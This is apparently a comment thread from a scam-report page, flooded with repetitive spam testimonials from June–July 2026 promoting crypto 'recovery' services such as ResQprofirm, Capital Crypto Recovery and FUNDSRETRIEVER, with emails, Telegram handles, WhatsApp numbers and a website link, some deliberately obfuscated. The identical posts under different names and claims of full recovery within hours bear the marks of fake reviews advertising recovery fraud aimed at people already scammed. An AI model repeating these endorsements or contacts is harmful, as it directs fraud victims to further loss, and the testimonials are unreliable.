If you have fallen victim to an investment scam, it is important to act quickly and gather all available evidence related to the incident. This may include transaction records, wallet addresses, screenshots of conversations, emails, account details, and any information connected to the individuals or entities involved. Having complete documentation can help professionals assess your situation and explore possible recovery options. Always exercise caution when seeking assistance and carefully verify the credentials of any service provider before proceeding. For further information, you may contact: Email: [email protected] Telegram: @ResQprofirm WhatsApp: +1 (985) 296-9146
24.06.26 22:01 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text: +1 (336) 390-6684 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
24.06.26 22:01 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text: +1 (336) 390-6684 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
25.06.26 21:13 Emilie Safi

A fraudulent investment scheme operated by BTCMining.limited functions as a fake return scam. In this setup, scammers lure victims with false promises of high returns. Through manipulative tactics, they gain individuals' trust and convince them to invest, ultimately leading to financial loss. If you have ever faced a cyber threat or fallen victim to an online crypto scam and need to reach the authorities, I recommend contacting [email protected], [email protected], WhatsApp +19852969146, telegram @resqprofirm. They are a legitimate team that helps victims of online crypto scams using advanced tools.
25.06.26 21:25 Emilie Safi

So I ended up losing $38,000 to this platform. At first, they kept asking me to put in more money so I could get into my portfolio. I did that, but then they wouldn’t let me withdraw anything—just kept asking for more deposits. It got way too suspicious, so I stopped. I found this company called ResQProfirm on Google and told them what happened. They got in touch, asked me to walk them through everything, and I gave them all the proof I had. They did an amazing job tracking down my money and getting it back. Big thanks to them at [email protected] and on WhatsApp at +19852969146. Please be careful out there and always research before investing.
26.06.26 01:04 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text: +1 (336) 390-6684 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
26.06.26 01:04 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text: +1 (336) 390-6684 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
26.06.26 02:48 Miriam Rocha

I trusted this platform with $120,000 of my hard-earned money. Then they started asking for more deposits just so I could access my own portfolio. I paid, but every withdrawal request was denied. They kept pushing for more money. I finally stopped it just felt wrong. Desperate, I found ResQProfirm on Google. They didn't just hear me out; they truly listened. I shared all my proof, and they launched an investigation. Thanks to their hard work, they tracked and returned my funds. From the bottom of my heart, thank you to [email protected] and their WhatsApp +19852969146. Please stay safe and always verify a platform before investing
26.06.26 02:52 Miško Bakić

I got my $232,000 refund thanks to [email protected] and WhatsApp +19852969146. Highly recommended for anyone in a similar situation.
26.06.26 02:56 Asunción Herrera

A recovery of $48,330 was facilitated by [email protected]. Individuals who have experienced financial fraud may consider contacting this service.
26.06.26 15:05 Riley Stephens

If withdrawals keep getting denied, stay calm. I went through the same, and this firm helped me recover everything. Their assistance was outstanding. Contact: [ResQProFirm @Gmail|•|com], Telegram: ResQprofirm, WhatsApp: <+198> <5296> <9146>.
26.06.26 15:09 Antonio Riley

Withdrawal troubles shouldn’t stress you out. I faced a similar problem, and this firm stepped in and recovered my funds. Their support truly mattered. Contact them: [[email protected], ResQprofirm @aol.com], Telegram: ResQprofirm, WhatsApp: +19852969146.
28.06.26 00:37 kimberlyhebertt673

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28.06.26 00:37 kimberlyhebertt673

I invested in bitcoin trading After losing $78.4 USDT) linked to a romance fraud scam worth of cryptocurrency through an online investment platform and later discovered it was a scam. After extensive research for recovery options, I contacted CAPITAL CRYPTO RECOVER based on positive client reviews and recommendations. Their professional security team guided me through the recovery process using advanced technology, and I was able to recover my lost cryptocurrency successfully. I am truly grateful for their support and assistance during such a difficult experience. I will advise you to contact CAPITAL CRYPTO RECOVER helped me recover my funds. For anyone facing similar issues, Website: https://recovercapital.wixsite.com/capital-crypto-rec-1 Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text Number: +1 (336) 390-6684
29.06.26 11:57 Lisadonato0726

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29.06.26 22:37 riley777

Back in 2025, I watched my life savings vanish. A thief took every cent. I felt desperate and went looking for a way to get it back. I found a guy here who said he was an expert haha. He talked about special software that could find my missing cash. I trusted him. That was a big mistake. He was just another scammer. I paid him a software fee and then he just stopped answering my texts and ran off with my money too. I felt so ashamed that I kept quiet about it for months. It is hard to admit you got fooled twice. Later on, I found a real pro. she did not use a fancy sales pitch. she just looked at the trans screenshots and followed the path the money took. she worked fast and got my funds back into my account. Having that money back changed everything. I can sleep again. her info; [email protected]. Call/chatroom on Whtasapp/ +44 7476618364.
30.06.26 15:08 wendytaylor015

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30.06.26 15:08 wendytaylor015

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02.07.26 01:22 Lieneke Bonnema

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02.07.26 01:26 Clara Morin

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04.07.26 15:32 Fraddy Pual

There are few companies I trust as much as FUNDSRETRIEVER. When I lost $653,000 in Ethereum to a ruthless scam, I thought my life would never be the same. The betrayal cut deep, but I refused to give up. I searched tirelessly for a legitimate way to recover what was stolen, and finally found FUNDSRETRIEVER—the most competent and compassionate recovery team I could have imagined. They handled my case with precision and care, and in the end, my entire ETH wallet was restored. More than the money, they gave me back my hope and happiness. I'm sharing my story because I want others to know that recovery is possible. If a scam has taken from you, don't hesitate—contact FUNDSRETRIEVER today. Email: FUNDSRETRIEVER1@ Gmail.com | WhatsApp: +1 603-512-1448 | Telegram: @FUNDSRETRIEVER
05.07.26 14:44 lydiassmith567

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05.07.26 14:44 lydiassmith567

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06.07.26 16:20 Olga Ognjanović

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06.07.26 16:31 Joseph Weigl

Invest wisely and stay cautious. Don't be influenced by promises of unusually high returns or convincing sales pitches from brokers. I learned this the hard way after falling victim to an investment scam that promised huge profits. Fortunately, I acted quickly and reported the incident to a recovery firm for assistance. Contact: Email: [email protected] Telegram: @Resqprofirm WhatsApp: +1 985 296 9146
06.07.26 16:33 Jaran Løvlien

A heartfelt thank you to RESQPRO FIRM for their commitment and professionalism throughout the investigation of my case. Their team worked diligently and helped recover assets valued at $88,000, which were returned to my wallet. I truly appreciate their support, clear communication, and dedication, and I'm grateful for the assistance I received. Contact: Email: [email protected] Telegram: @Resqprofirm WhatsApp: +1 985 296 9146
07.07.26 18:00 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text: +1 (336) 390-6684 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
07.07.26 18:01 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text: +1 (336) 390-6684 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.07.26 19:06 Toivo Walli

I lost 8.56btc to a fake Bitcoin mining site, I tried withdrawing but couldn't approved my process, I reported to !R£SQPROFIRM! via °R£SQproFirm°àt°gmail•com° °tEL£°gram=R£SQprofirm °whaT°Zap+198°52°96°91°46
09.07.26 19:10 Misty Alexander

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09.07.26 19:13 Clara Soto

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12.07.26 03:30 Kora Baltacha

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12.07.26 03:33 Pahal Mathew

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13.07.26 23:49 [email protected]

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15.07.26 11:53 Sarah Green

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15.07.26 11:58 Lily Gagné

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16.07.26 21:38 patricialovick86

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16.07.26 21:38 patricialovick86

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17.07.26 19:24 laimqq90

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17.07.26 20:12 martinsjude080

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18.07.26 17:12 Malthe Larsen

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18.07.26 17:42 پریا رضایی

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18.07.26 17:46 Adem Akışık

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18.07.26 23:51 bernalzenaida

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19.07.26 04:10 Fraddy Pual

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19.07.26 19:53 kimberlyhebertt6877

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19.07.26 19:54 kimberlyhebertt6877

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